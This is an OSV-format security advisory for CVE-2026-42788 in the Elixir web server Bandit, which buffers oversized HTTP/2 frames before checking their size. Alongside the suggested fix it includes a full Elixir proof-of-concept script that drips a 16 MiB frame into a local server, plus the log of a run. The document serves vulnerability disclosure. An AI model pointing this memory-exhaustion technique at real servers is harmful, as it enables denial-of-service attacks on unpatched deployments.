{"id":"GHSA-q6v9-r226-v65f","summary":"Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion","details":"### Summary\n\nBandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.\n\n### Details\n\nIn `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete.\n\nThe frame type and stream id don't matter; the parser never gets that far.\n\n### PoC\n\nThe script is at the end. It:\n\n1. Opens an h2c connection to a Bandit server it starts itself.\n2. Sends a 9-byte frame header announcing `length = 0xFFFFFF` (~16 MiB).\n3. Polls for `GOAWAY(FRAME_SIZE_ERROR)`. If silent, drips body bytes in 64 KiB chunks.\n\nA patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.\n\n**Suggested fix**\n\nAdd a header-only clause that rejects on the length field alone, e.g. `def deserialize(\u003c\u003clength::24, _::binary\u003e\u003e = msg, max_frame_size) when length \u003e max_frame_size, do: {{:error, frame_size_error(), \"...\"}, drop_frame_or_close(msg)}`, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.\n\n### Impact\n\nAny Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure — pure resource exhaustion.\n\nFix: add a header-only clause that rejects on `length \u003e max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses.\n\n```elixir\n# Bandit HTTP/2 oversized-frame late-check PoC.\n#\n# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.\n# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this\n# limit *after* matching `payload::binary-size(length)` in the frame\n# pattern. When the announced length exceeds what the buffer holds,\n# none of the body-bearing clauses match and `deserialize/2` returns\n# `{:more, msg}`, telling the caller to keep buffering. The oversize\n# error in the \"valid shape, length \u003e max_frame_size\" clause therefore\n# fires only *after* the entire announced body has been received —\n# letting a peer trickle up to ~16 MiB per frame (the 24-bit length\n# field maximum) into the server before the cap engages, well past\n# the 16 KiB the server agreed to.\n#\n# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips\n# body bytes in 64 KiB chunks, and after each chunk does a brief\n# non-blocking recv to see if the server has reacted. A patched server\n# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header\n# alone is enough). A vulnerable server keeps silently accepting up\n# to the full 16 MiB.\n#\n# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive\n# header — the parser never reaches dispatch (it's stuck buffering\n# body), so the type and stream id are immaterial to the bug.\n#\n# Run: elixir scripts/bandit/http2_frame_size_late_check.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule NoopApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, \"ok\\n\")\nend\n\ndefmodule FrameSizeLateCheck do\n  @port 4321\n  @connection_preface \"PRI * HTTP/2.0\\r\\n\\r\\nSM\\r\\n\\r\\n\"\n\n  @type_settings 0x4\n  @type_goaway 0x7\n  @flag_settings_ack 0x1\n\n  @max_24_bit 0xFFFFFF\n  @drip_chunk_size 64 * 1024\n  @max_total_drip 4 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} =\n      :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false, nodelay: true])\n\n    advertised_max_frame_size = handshake!(sock)\n    log(\"Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.\")\n\n    abusive_header =\n      frame_header(@max_24_bit, @type_settings, 0, 0)\n\n    log(\n      \"Sending oversized SETTINGS header: length=#{@max_24_bit} \" \u003c\u003e\n        \"(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}.\"\n    )\n\n    :ok = :gen_tcp.send(sock, abusive_header)\n\n    case poll_for_reaction(sock, 200) do\n      {:goaway, error_code} -\u003e\n        log(\"Server sent GOAWAY on header alone: error_code=#{error_code} — patched.\")\n        finish(sock)\n\n      :silent -\u003e\n        log(\"Server silent after header. Beginning body drip…\")\n        drip_loop(sock, 0)\n    end\n  end\n\n  defp drip_loop(sock, total_sent) when total_sent \u003e= @max_total_drip do\n    log(\n      \"Drip cap reached: #{total_sent} bytes accepted with no server reaction. \" \u003c\u003e\n        \"Server is buffering an oversized frame body well past max_frame_size.\"\n    )\n\n    finish(sock)\n  end\n\n  defp drip_loop(sock, total_sent) do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @drip_chunk_size)\n\n    case :gen_tcp.send(sock, chunk) do\n      :ok -\u003e\n        new_total = total_sent + @drip_chunk_size\n\n        case poll_for_reaction(sock, 50) do\n          {:goaway, error_code} -\u003e\n            log(\n              \"After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server \" \u003c\u003e\n                \"sent GOAWAY: error_code=#{error_code}.\"\n            )\n\n            finish(sock)\n\n          :silent -\u003e\n            if rem(new_total, 512 * 1024) == 0 do\n              log(\"Dripped #{div(new_total, 1024)} KiB so far, no reaction.\")\n            end\n\n            drip_loop(sock, new_total)\n        end\n\n      {:error, reason} -\u003e\n        log(\"Send failed at total=#{total_sent}: #{inspect(reason)}.\")\n        finish(sock)\n    end\n  end\n\n  defp poll_for_reaction(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 9, timeout_ms) do\n      {:ok, \u003c\u003clength::24, type::8, _flags::8, _r::1, _stream_id::31\u003e\u003e} -\u003e\n        case recv_payload(sock, length, timeout_ms) do\n          {:ok, payload} when type == @type_goaway -\u003e\n            \u003c\u003c_last_id::32, error_code::32, _debug::binary\u003e\u003e = payload\n            {:goaway, error_code}\n\n          {:ok, _} -\u003e\n            :silent\n\n          {:error, _} -\u003e\n            :silent\n        end\n\n      {:error, :timeout} -\u003e\n        :silent\n\n      {:error, :closed} -\u003e\n        {:goaway, :connection_closed_without_goaway}\n    end\n  end\n\n  defp finish(sock), do: :gen_tcp.close(sock)\n\n  # --- HTTP/2 handshake helpers ------------------------------------------\n\n  defp handshake!(sock) do\n    :ok = :gen_tcp.send(sock, @connection_preface)\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e))\n\n    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)\n    @type_settings = server_settings_frame.type\n    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)\n\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e, @flag_settings_ack))\n\n    _ = drain(sock, 100)\n    advertised_max_frame_size\n  end\n\n  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.\n  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.\n  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)\n  defp parse_max_frame_size(\u003c\u003c\u003e\u003e, current_value), do: current_value\n\n  defp parse_max_frame_size(\u003c\u003c0x5::16, value::32, rest::binary\u003e\u003e, _current) do\n    parse_max_frame_size(rest, value)\n  end\n\n  defp parse_max_frame_size(\u003c\u003c_id::16, _value::32, rest::binary\u003e\u003e, current) do\n    parse_max_frame_size(rest, current)\n  end\n\n  defp build_settings_frame(payload, flags \\\\ 0) do\n    frame_header(byte_size(payload), @type_settings, flags, 0) \u003c\u003e payload\n  end\n\n  defp frame_header(length, type, flags, stream_id) do\n    \u003c\u003clength::24, type::8, flags::8, 0::1, stream_id::31\u003e\u003e\n  end\n\n  defp recv_full_frame(sock, timeout_ms) do\n    with {:ok, \u003c\u003clength::24, type::8, flags::8, _r::1, stream_id::31\u003e\u003e} \u003c-\n           :gen_tcp.recv(sock, 9, timeout_ms),\n         {:ok, payload} \u003c- recv_payload(sock, length, timeout_ms) do\n      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}\n    end\n  end\n\n  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, \u003c\u003c\u003e\u003e}\n  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)\n\n  defp drain(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 0, timeout_ms) do\n      {:ok, bytes} -\u003e bytes \u003c\u003e drain(sock, timeout_ms)\n      {:error, _} -\u003e \u003c\u003c\u003e\u003e\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFrameSizeLateCheck.run()\n```\n\n```logs\n17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.\n[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.\n[15:23:19.444] Server silent after header. Beginning body drip…\n[15:23:19.857] Dripped 512 KiB so far, no reaction.\n[15:23:20.265] Dripped 1024 KiB so far, no reaction.\n[15:23:20.676] Dripped 1536 KiB so far, no reaction.\n[15:23:21.094] Dripped 2048 KiB so far, no reaction.\n[15:23:21.511] Dripped 2560 KiB so far, no reaction.\n[15:23:21.925] Dripped 3072 KiB so far, no reaction.\n[15:23:22.340] Dripped 3584 KiB so far, no reaction.\n[15:23:22.749] Dripped 4096 KiB so far, no reaction.\n[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.\n```","aliases":["CVE-2026-42788","EEF-CVE-2026-42788"],"modified":"2026-05-07T04:03:19.579427Z","published":"2026-05-07T03:52:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-07T03:52:31Z","nvd_published_at":"2026-05-01T21:16:17Z","cwe_ids":["CWE-770"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42788"},{"type":"WEB","url":"https://github.com/mtrudel/bandit/commit/1e8e55966da9129016b73d32f0e1df4630e3b463"},{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-42788.html"},{"type":"PACKAGE","url":"https://github.com/mtrudel/bandit"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-42788"}],"affected":[{"package":{"name":"bandit","ecosystem":"Hex","purl":"pkg:hex/bandit"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.3.5"},{"fixed":"1.11.0"}]}],"versions":["0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.0.0-pre.1","1.0.0-pre.10","1.0.0-pre.11","1.0.0-pre.12","1.0.0-pre.13","1.0.0-pre.14","1.0.0-pre.15","1.0.0-pre.16","1.0.0-pre.17","1.0.0-pre.18","1.0.0-pre.2","1.0.0-pre.3","1.0.0-pre.4","1.0.0-pre.5","1.0.0-pre.6","1.0.0-pre.7","1.0.0-pre.8","1.0.0-pre.9","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.10","1.6.11","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.8.0","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q6v9-r226-v65f/GHSA-q6v9-r226-v65f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}